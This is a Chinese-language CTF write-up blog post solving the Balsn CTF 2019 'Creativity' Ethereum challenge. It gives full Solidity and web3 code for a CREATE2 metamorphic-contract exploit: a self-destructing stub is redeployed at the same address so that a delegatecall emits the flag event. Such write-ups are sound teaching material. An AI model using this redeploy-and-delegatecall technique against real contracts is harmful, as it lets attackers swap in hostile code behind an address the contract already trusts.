Fork me on GitHub
pikachu's Blog

Balsn CTF 2019 - Creativity

前言

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.5.10;

contract Creativity {
event SendFlag(address addr);

address public target;
uint randomNumber = 0;

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}

function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}

Analyse

  • 题目大概逻辑是:

    • 让我们部署一个合约,合约代码大小不超过4字节
    • 调用 check ,参数是我们部署的合约地址
    • 调用 execute ,执行 delegatecall 到我们部署的合约内
  • 但是,有个问题,我们没法在4个字节内 emit SendFlag

  • 其实题目考查知识点为 Create2 的骚操作: 在同一个地址上部署合约,合约的字节码可以不同,即在同一个地址上先后可部署不同的合约
  • 通过调用下面 Deployer.deploy 函数,我们可以把不同合约先后部署在同一个地址上, deployedAddr 即为部署的合约地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.10;

contract Deployer {
bytes public deployBytecode;
address public deployedAddr;

function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x8866)
}
deployedAddr = a;
}
}

contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
  • 所以题目的逻辑如下:
    • create2 的骚操作,部署一个合约 0x33ff ,即 selfdestruct(msg.sender)
    • 调用 check() ,让 target 为我们部署的合约地址
    • 给我们部署的合约发一笔空交易,让它自毁
    • 再次使用 create2 骚操作,在同一个地址部署合约,合约内容为 emit SendFlag(0)
    • 调用 execute() ,就会执行我们第二次部署的合约的 emit SendFlag 事件,因为是 delegatecall 操作,所以还是相当于在原题目合约中进行的 emit SendFlag 操作,成功!

Solution

  • 先将 Deployer 部署,地址为 0x307FdF03B1842A501F52221e4cF02D67BfeEc399 , 然后使用 Deployer.deploy 部署 0x33ff ,得到部署的合约地址 0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663

  • 调用 check() , target 已经变成了我们部署的合约地址

  • 给我们部署的合约发一笔空交易,让它自毁,目的是为了重新在这个地址部署合约触发 SendFlag 事件,可以看到部署的合约已经自毁
1
web3.eth.sendTransaction({ from: '0x785a8D0d84ad29c96f8e1F26BfDb3E6CB72cAe9b', to: "0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663", data: "" }, function(err,res){console.log(res)});

  • 使用 create2 骚操作,在同一个地址部署合约,合约内容为 emit SendFlag(0) ,这里我是写了一个 hack 合约,然后使用 Deployer.deploy 部署
1
2
3
4
5
6
contract hack {
event SendFlag(address addr);
constructor() public {
emit SendFlag(address(0));
}
}
  • 这样就把内容为 emit SendFlaghack 合约给部署到同一个地址 0x2b473f517088f6d08e82cA06dD5A5e6A68Eb4663 上了,如下图

  • 调用 execute() ,就会执行我们第二次部署的合约的 emit SendFlag 事件

  • 完结!!!🎉🎉🎉🎉🎉🎉
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/balsn2019-create2/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!